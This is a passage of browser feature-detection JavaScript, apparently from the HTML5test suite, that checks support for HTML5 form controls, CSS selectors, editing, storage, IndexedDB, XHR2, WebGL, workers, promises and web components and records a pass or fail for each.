validation &= element.validity.valid
}
var minimal = element.type == types[t];
results.setItem({
key: 'form-' + types[t] + '-element',
passed: minimal
});
results.setItem({
key: 'form-' + types[t] + '-ui',
passed: minimal && sanitization, // Testing UI reliably is not possible, so we assume if sanitization is support we also have a UI and use the blacklist to make corrections
});
results.setItem({
key: 'form-' + types[t] + '-sanitization',
passed: minimal && sanitization
});
if (types[t] != 'range') {
results.setItem({
key: 'form-' + types[t] + '-validation',
passed: minimal && validation
});
}
results.setItem({
key: 'form-' + types[t] + '-min',
passed: minimal && 'min' in element
});
results.setItem({
key: 'form-' + types[t] + '-max',
passed: minimal && 'max' in element
});
results.setItem({
key: 'form-' + types[t] + '-step',
passed: minimal && 'step' in element
});
results.setItem({
key: 'form-' + types[t] + '-stepDown',
passed: minimal && 'stepDown' in element
});
results.setItem({
key: 'form-' + types[t] + '-stepUp',
passed: minimal && 'stepUp' in element
});
results.setItem({
key: 'form-' + types[t] + '-valueAsNumber',
passed: minimal && 'valueAsNumber' in element
});
}
/* input type=color */
var element = createInput('color');
element.value = "foobar";
var sanitization = element.value != 'foobar';
results.setItem({
key: 'form-color-element',
passed: element.type == 'color'
});
results.setItem({
key: 'form-color-ui',
passed: sanitization, // Testing UI reliably is not possible, so we assume if sanitization is support we also have a UI and use the blacklist to make corrections
});
results.setItem({
key: 'form-color-sanitization',
passed: sanitization
});
/* input type=checkbox */
var element = createInput('checkbox');
results.setItem({
key: 'form-checkbox-element',
passed: element.type == 'checkbox'
});
results.setItem({
key: 'form-checkbox-indeterminate',
passed: 'indeterminate' in element
});
/* input type=image */
var element = createInput('image');
element.style.display = 'inline-block';
var supportsWidth = 'width' in element;
var supportsHeight = 'height' in element;
element.setAttribute('width', '100');
element.setAttribute('height', '100');
results.setItem({
key: 'form-image-element',
passed: element.type == 'image'
});
results.setItem({
key: 'form-image-width',
passed: supportsWidth && element.offsetWidth == 100
});
results.setItem({
key: 'form-image-height',
passed: supportsHeight && element.offsetHeight == 100
});
/* input type=file */
var element = createInput('file');
results.setItem({
key: 'form-file-element',
passed: element.type == 'file'
});
results.setItem({
key: 'form-file-files',
passed: element.files && element.files instanceof FileList
});
results.setItem({
key: 'form-file-directory',
passed: 'directory' in element && window.Directory
});
/* textarea */
var element = document.createElement('textarea');
var passed = false;
try {
passed = typeof HTMLTextAreaElement != 'undefined' && element instanceof HTMLTextAreaElement;
} catch(error) {
}
results.setItem({
key: 'form-textarea-element',
passed: passed
});
results.setItem({
key: 'form-textarea-maxlength',
passed: 'maxLength' in element
});
results.setItem({
key: 'form-textarea-wrap',
passed: 'wrap' in element
});
/* select */
var element = document.createElement('select');
var passed = false;
try {
passed = typeof HTMLSelectElement != 'undefined' && element instanceof HTMLSelectElement;
} catch(error) {
}
results.setItem({
key: 'form-select-element',
passed: passed
});
results.setItem({
key: 'form-select-required',
passed: 'required' in element
});
/* fieldset */
var element = document.createElement('fieldset');
var passed = false;
try {
passed = typeof HTMLFieldSetElement != 'undefined' && element instanceof HTMLFieldSetElement;
} catch(error) {
}
results.setItem({
key: 'form-fieldset-element',
passed: passed
});
results.setItem({
key: 'form-fieldset-elements',
passed: 'elements' in element
});
results.setItem({
key: 'form-fieldset-disabled',
passed: 'disabled' in element
});
/* datalist */
var passed = false;
try {
var element = document.createElement('datalist');
try {
passed = (typeof HTMLDataListElement != 'undefined' && element instanceof HTMLDataListElement) || element.childNodes.length;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'form-datalist-element',
passed: passed
});
var element = document.createElement('input');
results.setItem({
key: 'form-datalist-list',
passed: !!("list" in element)
});
/* keygen */
var element = document.createElement('div');
element.innerHTML = '<keygen>';
var passed = false;
try {
passed = typeof HTMLKeygenElement != 'undefined' && element.firstChild instanceof HTMLKeygenElement && 'challenge' in element.firstChild && 'keytype' in element.firstChild;
} catch(error) {
}
results.setItem({
key: 'form-keygen-element',
passed: passed
});
results.setItem({
key: 'form-keygen-challenge',
passed: element.firstChild && 'challenge' in element.firstChild
});
results.setItem({
key: 'form-keygen-keytype',
passed: element.firstChild && 'keytype' in element.firstChild
});
/* output */
var passed = false;
try {
var element = document.createElement('output');
try {
passed = typeof HTMLOutputElement != 'undefined' && element instanceof HTMLOutputElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'form-output-element',
passed: passed
});
/* progress */
var passed = false;
try {
var element = document.createElement('progress');
try {
passed = typeof HTMLProgressElement != 'undefined' && element instanceof HTMLProgressElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'form-progress-element',
passed: passed
});
/* meter */
var passed = false;
try {
var element = document.createElement('meter');
try {
passed = typeof HTMLMeterElement != 'undefined' && element instanceof HTMLMeterElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'form-meter-element',
passed: passed
});
/* pattern and required properties */
var element = document.createElement('input');
var props = 'pattern required'.split(' ');
for (var p = 0; p < props.length; p++) {
results.setItem({
key: 'form-validation-' + props[p],
passed: !!(props[p] in element)
});
}
/* control property on labels */
var field = document.createElement('input');
field.id = "a";
document.body.appendChild(field);
var label = document.createElement("label");
label.setAttribute('for', 'a');
document.body.appendChild(label);
results.setItem({
key: 'form-association-control',
passed: label.control == field
});
document.body.removeChild(field);
document.body.removeChild(label);
/* form attribute on input */
var element = document.createElement('div');
document.body.appendChild(element);
element.innerHTML = '<form id="form"></form><input form="form">';
results.setItem({
key: 'form-association-form',
passed: element.lastChild.form == element.firstChild
});
document.body.removeChild(element);
/* formAction, formEnctype, formMethod, formNoValidate and formTarget properties */
var props = 'formAction formEnctype formMethod formNoValidate formTarget'.split(' ');
var element = document.createElement('input');
for (var p = 0; p < props.length; p++) {
results.setItem({
key: 'form-association-' + props[p],
passed: !!(props[p] in element)
});
}
/* labels property on input */
var element = document.createElement('input');
document.body.appendChild(element);
element.id = "testFormInput";
var label = document.createElement("label");
label.setAttribute('for', 'testFormInput');
document.body.appendChild(label);
results.setItem({
key: 'form-association-labels',
passed: (!!element.labels && element.labels.length == 1 && element.labels[0] == label)
});
document.body.removeChild(label);
document.body.removeChild(element);
/* autofocus */
var element = document.createElement('input');
results.setItem({
key: 'form-other-autofocus',
passed: !!('autofocus' in element)
});
/* autocomplete, placeholder, multiple and dirName properties */
var props = 'autocomplete placeholder multiple dirName'.split(' ');
for (var p = 0; p < props.length; p++) {
var prop = props[p].toLowerCase();
results.setItem({
key: 'form-other-' + prop,
passed: !!(props[p] in element)
});
}
/* valid, invalid, optional, required, in-range, out-of-range, read-write and read-only css selectors */
var selectors = "valid invalid optional required in-range out-of-range read-write read-only".split(" ");
var passed = [NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN];
/* At this time we are not testing enabled, disabled, checked and indeterminate,
because these selectors are part of the CSS 3 Selector specification and
universally implemented, see http://www.css3.info/selectors-test/
*/
if ('querySelector' in document) {
var element = document.createElement('input');
element.id = 'testFormInput';
element.setAttribute("type", "text");
document.body.appendChild(element);
try {
passed[0] = !!document.querySelector("#testFormInput:valid");
} catch(e) {
passed[0] = NO;
}
try {
passed[6] = !!document.querySelector("#testFormInput:read-write");
} catch(e) {
passed[6] = NO;
try {
passed[6] = document.querySelector("#testFormInput:-moz-read-write") ? YES | PREFIX : NO;
} catch(e) {
}
}
if ("validity" in element && "setCustomValidity" in element) {
element.setCustomValidity("foo");
try {
passed[1] = !!document.querySelector("#testFormInput:invalid");
} catch(e) {
passed[1] = NO;
}
} else {
passed[1] = NO;
}
try {
passed[2] = !!document.querySelector("#testFormInput:optional");
} catch(e) {
passed[2] = NO;
}
element.setAttribute("required", "true");
try {
passed[3] = !!document.querySelector("#testFormInput:required");
} catch(e) {
passed[3] = NO;
}
try {
element.setAttribute("type", "number");
element.setAttribute("min", "10");
element.setAttribute("max", "20");
element.setAttribute("value", "15");
passed[4] = !!document.querySelector("#testFormInput:in-range");
} catch(e) {
passed[4] = NO;
}
try {
element.setAttribute("type", "number");
element.setAttribute("min", "10");
element.setAttribute("max", "20");
element.setAttribute("value", "25");
passed[5] = !!document.querySelector("#testFormInput:out-of-range");
} catch(e) {
passed[5] = NO;
}
document.body.removeChild(element);
var element = document.createElement('input');
element.id = 'testFormInput';
element.setAttribute("type", "text");
element.setAttribute("readonly", "readonly");
document.body.appendChild(element);
try {
passed[7] = !!document.querySelector("#testFormInput:read-only");
} catch(e) {
passed[7] = NO;
try {
passed[7] = document.querySelector("#testFormInput:-moz-read-only") ? YES | PREFIX : NO;
} catch(e) {
}
}
document.body.removeChild(element);
}
for (var i = 0; i < selectors.length; i++) {
results.setItem({
key: 'form-selectors-' + selectors[i],
passed: passed[i]
});
}
/* oninput, onchange and oninvalid events */
var inputItem = results.setItem({
key: 'form-events-oninput',
passed: isEventSupported('input')
});
var changeItem = results.setItem({
key: 'form-events-onchange',
passed: isEventSupported('change')
});
var invalidItem = results.setItem({
key: 'form-events-oninvalid',
passed: isEventSupported('invalid')
});
try {
inputItem.startBackground();
changeItem.startBackground();
var event = document.createEvent("KeyboardEvent");
if (event.initKeyEvent) {
event.initKeyEvent("keypress", false, true, null, false, false, false, false, null, 65);
var input = document.createElement('input');
input.style.position = 'fixed';
input.style.left = '-500px';
input.style.top = '0px';
document.body.appendChild(input);
input.addEventListener('input', function() {
inputItem.update({
'passed': true
});
inputItem.stopBackground();
}, true);
input.addEventListener('change', function() {
changeItem.update({
'passed': true
});
changeItem.stopBackground();
}, true);
input.focus();
input.dispatchEvent(event);
input.blur();
window.setTimeout(function() {
document.body.removeChild(input);
inputItem.stopBackground();
changeItem.stopBackground();
}, 1000);
} else {
inputItem.stopBackground();
changeItem.stopBackground();
}
} catch(e) {
inputItem.stopBackground();
changeItem.stopBackground();
}
/* checkValidity property */
results.setItem({
key: 'form-formvalidation-checkValidity',
passed: 'checkValidity' in document.createElement('form')
});
/* noValidate property */
results.setItem({
key: 'form-formvalidation-noValidate',
passed: 'noValidate' in document.createElement('form')
});
},
function(results) {
var element = document.createElement('div');
/* Draggable */
var passed = 'draggable' in element;
results.setItem({
key: 'interaction-dragdrop.attributes-draggable',
passed: passed
});
/* Dropzone */
results.setItem({
key: 'interaction-dragdrop.attributes-dropzone',
passed: 'dropzone' in element ? YES : 'webkitdropzone' in element || 'mozdropzone' in element || 'msdropzone' in element || 'odropzone' in element ? YES | PREFIX : NO
});
/* We need to check if the draggable attribute is supported, because older versions of IE do
support the incompatible versions of the events below. IE 9 and up do support the HTML5
events in combination with the draggable attribute */
/* ondrag event */
results.setItem({
key: 'interaction-dragdrop.events-ondrag',
passed: isEventSupported('drag') && passed
});
/* ondragstart event */
results.setItem({
key: 'interaction-dragdrop.events-ondragstart',
passed: isEventSupported('dragstart') && passed
});
/* ondragenter event */
results.setItem({
key: 'interaction-dragdrop.events-ondragenter',
passed: isEventSupported('dragenter') && passed
});
/* ondragover event */
results.setItem({
key: 'interaction-dragdrop.events-ondragover',
passed: isEventSupported('dragover') && passed
});
/* ondragleave event */
results.setItem({
key: 'interaction-dragdrop.events-ondragleave',
passed: isEventSupported('dragleave') && passed
});
/* ondragend event */
results.setItem({
key: 'interaction-dragdrop.events-ondragend',
passed: isEventSupported('dragend') && passed
});
/* ondrop event */
results.setItem({
key: 'interaction-dragdrop.events-ondrop',
passed: isEventSupported('drop') && passed
});
/* contentEditable */
results.setItem({
key: 'interaction-editing.elements-contentEditable',
passed: 'contentEditable' in document.createElement('div')
});
/* isContentEditable */
results.setItem({
key: 'interaction-editing.elements-isContentEditable',
passed: 'isContentEditable' in document.createElement('div')
});
/* designMode */
results.setItem({
key: 'interaction-editing.documents-designMode',
passed: 'designMode' in document
});
/* execCommand */
results.setItem({
key: 'interaction-editing.apis-execCommand',
passed: 'execCommand' in document
});
/* queryCommandEnabled */
results.setItem({
key: 'interaction-editing.apis-queryCommandEnabled',
passed: 'queryCommandEnabled' in document
});
/* queryCommandIndeterm */
results.setItem({
key: 'interaction-editing.apis-queryCommandIndeterm',
passed: 'queryCommandIndeterm' in document
});
/* queryCommandState */
results.setItem({
key: 'interaction-editing.apis-queryCommandState',
passed: 'queryCommandState' in document
});
/* queryCommandSupported */
results.setItem({
key: 'interaction-editing.apis-queryCommandSupported',
passed: 'queryCommandSupported' in document
});
/* queryCommandValue */
results.setItem({
key: 'interaction-editing.apis-queryCommandValue',
passed: 'queryCommandValue' in document
});
/* read-write and read-only selectors */
var selectors = "read-write read-only".split(" ");
var passed = [ NO | UNKNOWN, NO | UNKNOWN ];
if ('querySelector' in document) {
var element = document.createElement('div');
element.id = 'testDivElement';
element.contentEditable = true;
document.body.appendChild(element);
var nested = document.createElement('div');
nested.id = 'testDivNested';
nested.contentEditable = false;
element.appendChild(nested);
try {
passed[0] = document.querySelector("#testDivElement:read-write") == element;
} catch(e) {
passed[0] = NO;
try {
passed[0] = document.querySelector("#testDivElement:-moz-read-write") == element ? YES | PREFIX : NO;
} catch(e) {
}
}
try {
passed[1] = document.querySelector("#testDivNested:read-only") == nested;
} catch(e) {
passed[1] = NO;
try {
passed[1] = document.querySelector("#testDivNested:-moz-read-only") == nested ? YES | PREFIX : NO;
} catch(e) {
}
}
document.body.removeChild(element);
}
for (var i = 0; i < selectors.length; i++) {
results.setItem({
key: 'interaction-editing.selectors-' + selectors[i],
passed: passed[i]
});
}
/* ClipboardEvent */
results.setItem({
key: 'interaction-clipboard',
passed: 'ClipboardEvent' in window
});
/* spellcheck */
results.setItem({
key: 'interaction-spellcheck',
passed: 'spellcheck' in element
});
},
function(results) {
/* history */
results.setItem({
key: 'history-history',
passed: !!(window.history && history.pushState)
});
},
function(results) {
/* microdata */
var container = document.createElement('div');
container.innerHTML = '<div id="microdataItem" itemscope itemtype="http://example.net/user"><p>My name is <span id="microdataProperty" itemprop="name">Elizabeth</span>.</p></div>';
document.body.appendChild(container);
var item = document.getElementById('microdataItem');
var property = document.getElementById('microdataProperty');
var passed = true;
// Check the element that contains the property
passed = passed && !!('itemValue' in property) && property.itemValue == 'Elizabeth';
// Check the element that is the item
passed = passed && !!('properties' in item) && item.properties['name'][0].itemValue == 'Elizabeth';
// Check the getItems method
if (!!document.getItems) {
var user = document.getItems('http://example.net/user')[0];
passed = passed && user.properties['name'][0].itemValue == 'Elizabeth';
}
document.body.removeChild(container);
results.setItem({
key: 'microdata-microdata',
passed: passed
});
},
function(results) {
/* applicationCache */
results.setItem({
key: 'offline-applicationCache',
passed: !!window.applicationCache
});
/* serviceWorker */
results.setItem({
key: 'offline-serviceWorkers',
passed: !!window.navigator.serviceWorker
});
/* registerProtocolHandler */
results.setItem({
key: 'offline-registerProtocolHandler',
passed: !!window.navigator.registerProtocolHandler
});
/* registerContentHandler */
results.setItem({
key: 'offline-registerContentHandler',
passed: !!window.navigator.registerContentHandler
});
},
function(results) {
/* crypto */
var passed = NO;
try {
var crypto = window.crypto || window.webkitCrypto || window.mozCrypto || window.msCrypto || window.oCrypto;
var available = window.crypto ? YES : window.mozCrypto || window.msCrypto || window.oCrypto ? YES | PREFIX : NO;
passed = !!crypto && 'subtle' in crypto ? available : !!crypto && 'webkitSubtle' in crypto ? YES | PREFIX : NO;
} catch(e) {
}
results.setItem({
key: 'security-crypto',
passed: passed
});
/* csp 1.0 */
results.setItem({
key: 'security-csp10',
passed: !(function() { try { return eval('true'); } catch (e) {} return false; })()
});
/* csp 1.1 */
results.setItem({
key: 'security-csp11',
passed: 'SecurityPolicyViolationEvent' in window
});
/* cors */
results.setItem({
key: 'security-cors',
passed: window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()
});
/* postMessage */
results.setItem({
key: 'security-postMessage',
passed: !!window.postMessage
});
/* sandboxed iframe */
results.setItem({
key: 'security-sandbox',
passed: 'sandbox' in document.createElement('iframe')
});
/* srcdoc iframe */
results.setItem({
key: 'security-srcdoc',
passed: 'srcdoc' in document.createElement('iframe')
});
},
function(results) {
/* geolocation */
results.setItem({
key: 'location-geolocation',
passed: !!navigator.geolocation
});
/* device orientation */
results.setItem({
key: 'location-orientation',
passed: !!window.DeviceOrientationEvent
});
/* device motion */
results.setItem({
key: 'location-motion',
passed: !!window.DeviceMotionEvent
});
},
function(results) {
/* webgl */
var element = document.createElement('canvas');
var contexts = ['webgl', 'ms-webgl', 'experimental-webgl', 'moz-webgl', 'opera-3d', 'webkit-3d', 'ms-3d', '3d'];
var context = '';
var passed = false;
for (var b = -1, len = contexts.length; ++b < len;) {
try {
if (element.getContext(contexts[b])) {
context = contexts[b];
passed = true;
break;
};
} catch(e){ }
}
results.setItem({
key: 'webgl-context',
passed: passed ? (context == 'webgl' ? YES : YES | PREFIX) : NO
});
},
function(results) {
/* beacon */
results.setItem({
key: 'communication-beacon',
passed: 'sendBeacon' in navigator
});
/* eventSource */
results.setItem({
key: 'communication-eventSource',
passed: 'EventSource' in window
});
/* fetch */
results.setItem({
key: 'communication-fetch',
passed: 'Promise' in window && typeof window.fetch === 'function' && window.fetch('') instanceof Promise
});
/* xmlhttprequest upload */
results.setItem({
key: 'communication-xmlhttprequest2.upload',
passed: window.XMLHttpRequest && 'upload' in new XMLHttpRequest()
});
/* xmlhttprequest response text */
var item = results.setItem({
key: 'communication-xmlhttprequest2.response-text',
passed: false
});
testResponseTypeText(item);
/* xmlhttprequest response document */
var item = results.setItem({
key: 'communication-xmlhttprequest2.response-document',
passed: false
});
testResponseTypeDocument(item);
/* xmlhttprequest response array */
var item = results.setItem({
key: 'communication-xmlhttprequest2.response-array',
passed: false
});
testResponseTypeArrayBuffer(item);
/* xmlhttprequest response blob */
var item = results.setItem({
key: 'communication-xmlhttprequest2.response-blob',
passed: false
});
testResponseTypeBlob(item);
/* websockets */
var websocket = window.WebSocket || window.MozWebSocket;
var passed = 'WebSocket' in window ? YES : 'MozWebSocket' in window ? YES | PREFIX : NO;
if (websocket && websocket.CLOSING !== 2) passed |= OLD;
results.setItem({
key: 'communication-websocket.basic',
passed: passed
});
/* binary websockets */
var passed = false;
var protocol = 'https:' == location.protocol ? 'wss' : 'ws';
if ("WebSocket" in window) {
if ("binaryType" in WebSocket.prototype) {
passed = true;
}
else {
try {
passed = !!(new WebSocket(protocol+'://.').binaryType);
} catch (e) {
}
}
}
results.setItem({
key: 'communication-websocket.binary',
passed: passed
});
function testResponseTypeDocument(item) {
if (!window.XMLHttpRequest) return;
var xhr = new window.XMLHttpRequest();
if (typeof xhr.responseType == 'undefined') return;
var done = false;
xhr.onreadystatechange = function() {
if (this.readyState == 4 && !done) {
done = true;
passed = false;
try {
passed = !!(this.responseXML && this.responseXML.title && this.responseXML.title == "&&<");
} catch(e) {
}
item.stopBackground();
item.update({
'passed': passed
});
}
}
try {
item.startBackground();
xhr.open("GET", "/detect.html?" + Math.random().toString(36).substr(2, 5));
xhr.responseType = "document";
xhr.send();
} catch (e) {
item.stopBackground();
}
}
function testResponseTypeText(item) {
if (!window.XMLHttpRequest) return;
var xhr = new window.XMLHttpRequest();
if (typeof xhr.responseType == 'undefined') return;
var done = false;
xhr.onreadystatechange = function() {
if (this.readyState == 4 && !done) {
done = true;
passed = false;
try {
passed = !!(this.responseText); // && this.responseText == '<title>&&<</title>');
} catch(e) {
}
item.stopBackground();
item.update({
'passed': passed
});
}
}
try {
item.startBackground();
xhr.open("GET", "/detect.html?" + Math.random().toString(36).substr(2, 5));
xhr.responseType = "text";
xhr.send();
} catch (e) {
item.stopBackground();
}
}
function testResponseTypeBlob(item) {
if (!window.XMLHttpRequest || !window.Blob) return;
var xhr = new window.XMLHttpRequest();
if (typeof xhr.responseType == 'undefined') return;
var done = false;
xhr.onreadystatechange = function() {
if (this.readyState == 4 && !done) {
done = true;
passed = false;
try {
passed = !!(this.response && this.response instanceof Blob);
} catch(e) {
}
item.stopBackground();
item.update({
'passed': passed
});
}
}
try {
item.startBackground();
xhr.open("GET", "/detect.html?" + Math.random().toString(36).substr(2, 5));
xhr.responseType = "blob";
xhr.send();
} catch (e) {
item.stopBackground();
}
}
function testResponseTypeArrayBuffer(item) {
if (!window.XMLHttpRequest || !window.ArrayBuffer) return;
var xhr = new window.XMLHttpRequest();
if (typeof xhr.responseType == 'undefined') return;
var done = false;
xhr.onreadystatechange = function() {
if (this.readyState == 4 && !done) {
done = true;
passed = false;
try {
passed = !!(this.response && this.response instanceof ArrayBuffer);
} catch(e) {
}
item.stopBackground();
item.update({
'passed': passed
});
}
}
try {
item.startBackground();
xhr.open("GET", "/detect.html?" + Math.random().toString(36).substr(2, 5));
xhr.responseType = "arraybuffer";
xhr.send();
} catch (e) {
item.stopBackground();
}
}
},
function(results) {
/* readable streams */
results.setItem({
key: 'streams-streams.readable',
passed: 'ReadableStream' in window
});
/* writeable streams */
results.setItem({
key: 'streams-streams.writeable',
passed: 'WriteableStream' in window
});
},
function(results) {
/* file reader */
results.setItem({
key: 'files-fileReader',
passed: 'FileReader' in window
});
/* file reader as blob */
results.setItem({
key: 'files-fileReader.blob',
passed: 'Blob' in window
});
/* file reader as data url */
results.setItem({
key: 'files-fileReader.dataURL',
passed: 'FileReader' in window && 'readAsDataURL' in (new FileReader())
});
/* file reader as array buffer */
results.setItem({
key: 'files-fileReader.arraybuffer',
passed: 'FileReader' in window && 'readAsArrayBuffer' in (new FileReader())
});
/* file reader as object url */
results.setItem({
key: 'files-fileReader.objectURL',
passed: 'URL' in window && 'createObjectURL' in URL
});
/* request file system */
results.setItem({
key: 'files-fileSystem',
passed: !! window.requestFileSystem ? YES : !! window.webkitRequestFileSystem || !! window.mozRequestFileSystem || !! window.oRequestFileSystem || !! window.msRequestFileSystem ? YES | PREFIX : NO
});
/* get file system */
results.setItem({
key: 'files-getFileSystem',
passed: !! navigator.getFileSystem ? YES : !! navigator.webkitGetFileSystem || !! navigator.mozGetFileSystem || !! window.msGetFileSystem ? YES | PREFIX : NO
});
},
function(results) {
/* session storage */
results.setItem({
key: 'storage-sessionStorage',
passed: 'sessionStorage' in window && window.sessionStorage != null
});
/* local storage */
var passed = false;
try {
passed = 'localStorage' in window && window.localStorage != null
} catch(e) {
/* If we get a security exception we know the feature exists, but cookies are disabled */
if (e.name == 'NS_ERROR_DOM_SECURITY_ERR') {
passed = true;
}
}
results.setItem({
key: 'storage-localStorage',
passed: passed
});
/* indexeddb */
var indexedDB = window.indexedDB || window.webkitIndexedDB || window.mozIndexedDB || window.moz_indexedDB || window.oIndexedDB || window.msIndexedDB;
var passed = !! window.indexedDB ? YES : !! window.webkitIndexedDB || !! window.mozIndexedDB || !! window.moz_indexedDB || !! window.oIndexedDB || !! window.msIndexedDB ? YES | PREFIX : NO;
if (indexedDB && ! 'deleteDatabase' in indexedDB) passed != BUGGY;
results.setItem({
key: 'storage-indexedDB.basic',
passed: passed
});
/* indexeddb blob and arraybuffer storage */
var blobitem = results.setItem({
key: 'storage-indexedDB.blob',
passed: false
});
var arrayitem = results.setItem({
key: 'storage-indexedDB.arraybuffer',
passed: false
});
if (indexedDB && 'deleteDatabase' in indexedDB) {
log('IndexedDB: starting tests');
try {
blobitem.startBackground();
arrayitem.startBackground();
log('IndexedDB: delete existing database (if exists)');
var request = indexedDB.deleteDatabase('html5test');
request.onerror = function(e) {
log('IndexedDB: error, could not delete database', e);
blobitem.stopBackground();
arrayitem.stopBackground();
};
request.onsuccess = function () {
var request = indexedDB.open('html5test', 1);
log('IndexedDB: opening new database');
request.onupgradeneeded = function() {
log('IndexedDB: creating objectStore');
request.result.createObjectStore("store");
};
request.onerror = function(event) {
log('IndexedDB: error opening database', event);
blobitem.stopBackground();
arrayitem.stopBackground();
};
request.onsuccess = function() {
log('IndexedDB: database opened');
var db = request.result;
try {
db.transaction("store", "readwrite").objectStore("store").put(new Blob(), "key");
log('IndexedDB: objectStore with Blob passed');
blobitem.update({
passed: true
});
} catch (e) {
log('IndexedDB: objectStore with Blob failed');
}
try {
db.transaction("store", "readwrite").objectStore("store").put(new ArrayBuffer(), "key");
log('IndexedDB: objectStore with ArrayBuffer passed');
arrayitem.update({
passed: true
});
} catch (e) {
log('IndexedDB: objectStore with ArrayBuffer failed');
}
blobitem.stopBackground();
arrayitem.stopBackground();
db.close();
indexedDB.deleteDatabase('html5test');
};
};
} catch (e) {
log('IndexedDB: exception reached during test', e);
blobitem.stopBackground();
arrayitem.stopBackground();
}
}
/* websql */
results.setItem({
key: 'storage-sqlDatabase',
passed: !!window.openDatabase
});
},
function(results) {
/* webworker */
results.setItem({
key: 'performance-worker',
passed: !!window.Worker
});
/* sharedworker */
results.setItem({
key: 'performance-sharedWorker',
passed: !!window.SharedWorker
});
/* datatypes */
results.setItem({
key: 'performance-datatypes-ArrayBuffer',
passed: typeof ArrayBuffer != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Int8Array',
passed: typeof Int8Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Uint8Array',
passed: typeof Uint8Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Uint8ClampedArray',
passed: typeof Uint8ClampedArray != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Int16Array',
passed: typeof Int16Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Uint16Array',
passed: typeof Uint16Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Int32Array',
passed: typeof Int32Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Uint32Array',
passed: typeof Uint32Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Float32Array',
passed: typeof Float32Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Float64Array',
passed: typeof Float64Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-DataView',
passed: typeof DataView != 'undefined'
});
},
function(results) {
/* fullscreen */
results.setItem({
key: 'output-requestFullScreen',
passed: !! document.documentElement.requestFullscreen ? YES : !! document.documentElement.webkitRequestFullScreen || !! document.documentElement.mozRequestFullScreen || !! document.documentElement.msRequestFullscreen ? YES | PREFIX : NO
});
/* notifications */
results.setItem({
key: 'output-notifications',
passed: 'Notification' in window ? YES : 'webkitNotifications' in window || 'mozNotification' in window.navigator || 'oNotification' in window || 'msNotification' in window ? YES | PREFIX : NO
});
},
function(results) {
/* async scripts */
results.setItem({
key: 'other-async',
passed: 'async' in document.createElement('script')
});
/* deferred scripts */
results.setItem({
key: 'other-defer',
passed: 'defer' in document.createElement('script')
});
/* script error reporting */
results.setItem({
key: 'other-onerror',
passed: isEventSupported('error')
});
/* script execution events */
var executionevents = results.setItem({
key: 'other-executionevents',
passed: false
});
executionevents.startBackground();
var before = false;
var s = document.createElement('script');
s.src="data:text/javascript;charset=utf-8,window"
s.addEventListener('beforescriptexecute', function() {
before = true;
}, true);
s.addEventListener('afterscriptexecute', function() {
if (before) {
executionevents.update({
passed: true
});
}
executionevents.stopBackground();
}, true);
document.body.appendChild(s);
window.setTimeout(function() {
executionevents.stopBackground();
}, 500);
/* base64 encoding and decoding */
results.setItem({
key: 'other-base64',
passed: 'btoa' in window && 'atob' in window
});
/* json encoding and decoding */
results.setItem({
key: 'other-json',
passed: 'JSON' in window && 'parse' in JSON
});
/* mutation observer */
results.setItem({
key: 'other-mutationObserver',
passed: 'MutationObserver' in window ? YES : 'WebKitMutationObserver' in window || 'MozMutationObserver' in window || 'oMutationObserver' in window || 'msMutationObserver' in window ? YES | PREFIX : NO
});
/* url api */
results.setItem({
key: 'other-url',
passed: 'URL' in window ? YES : 'WebKitURL' in window || 'MozURL' in window || 'oURL' in window || 'msURL' in window ? YES | PREFIX : NO
});
/* text encoding api */
results.setItem({
key: 'other-encoding',
passed: 'TextEncoder' in window && 'TextDecoder' in window ? YES : NO
});
/* internationalisation api */
results.setItem({
key: 'other-i18n',
passed: 'Intl' in window ? YES : NO
});
/* promises */
var passed = 'Promise' in window ? YES | OLD : NO;
if ('Promise' in window &&
'resolve' in window.Promise &&
'reject' in window.Promise &&
'all' in window.Promise &&
'race' in window.Promise &&
(function() {
var resolve;
new window.Promise(function(r) { resolve = r; });
return typeof resolve === 'function';
}()))
{
passed = YES;
}
results.setItem({
key: 'other-promises',
passed: passed
});
/* page visiblity */
results.setItem({
key: 'other-pagevisiblity',
passed: 'visibilityState' in document ? YES : 'webkitVisibilityState' in document || 'mozVisibilityState' in document || 'oVisibilityState' in document || 'msVisibilityState' in document ? YES | PREFIX : NO
});
/* selection */
results.setItem({
key: 'other-getSelection',
passed: !!window.getSelection
});
/* scrollIntoView */
results.setItem({
key: 'other-scrollIntoView',
passed: 'scrollIntoView' in document.createElement('div')
});
},
function(results) {
/* animation api */
results.setItem({
key: 'animation-webanimation',
passed: 'animate' in document.createElement('div')
});
/* requestAnimationFrame */
results.setItem({
key: 'animation-requestAnimationFrame',
passed: !! window.requestAnimationFrame ? YES : !! window.webkitRequestAnimationFrame || !! window.mozRequestAnimationFrame || !! window.msRequestAnimationFrame || !! window.oRequestAnimationFrame ? YES | PREFIX : NO
});
},
function(results) {
/* custom elements */
results.setItem({
key: 'components-custom',
passed: 'registerElement' in document
});
/* shadow dom */
results.setItem({
key: 'components-shadowdom',
passed: 'attachShadow' in document.createElement('div') ? YES : 'createShadowRoot' in document.createElement('div') || 'webkitCreateShadowRoot' in document.createElement('div') ? YES | OLD : NO
});
/* templates */
var passed = false;
try {
passed = 'content' in document.createElement('template');
} catch(error) {
}
results.setItem({
key: 'components-template',
passed: passed
});
/* html imports */
results.setItem({
key: 'components-imports',
passed: 'import' in document.createElement('link')
});
}
];
function test (callback, error) { this.initialize(callback, error); }
test.prototype = {
initialize: function(callback, error) {
blacklists = [
[
BLOCKED,
{
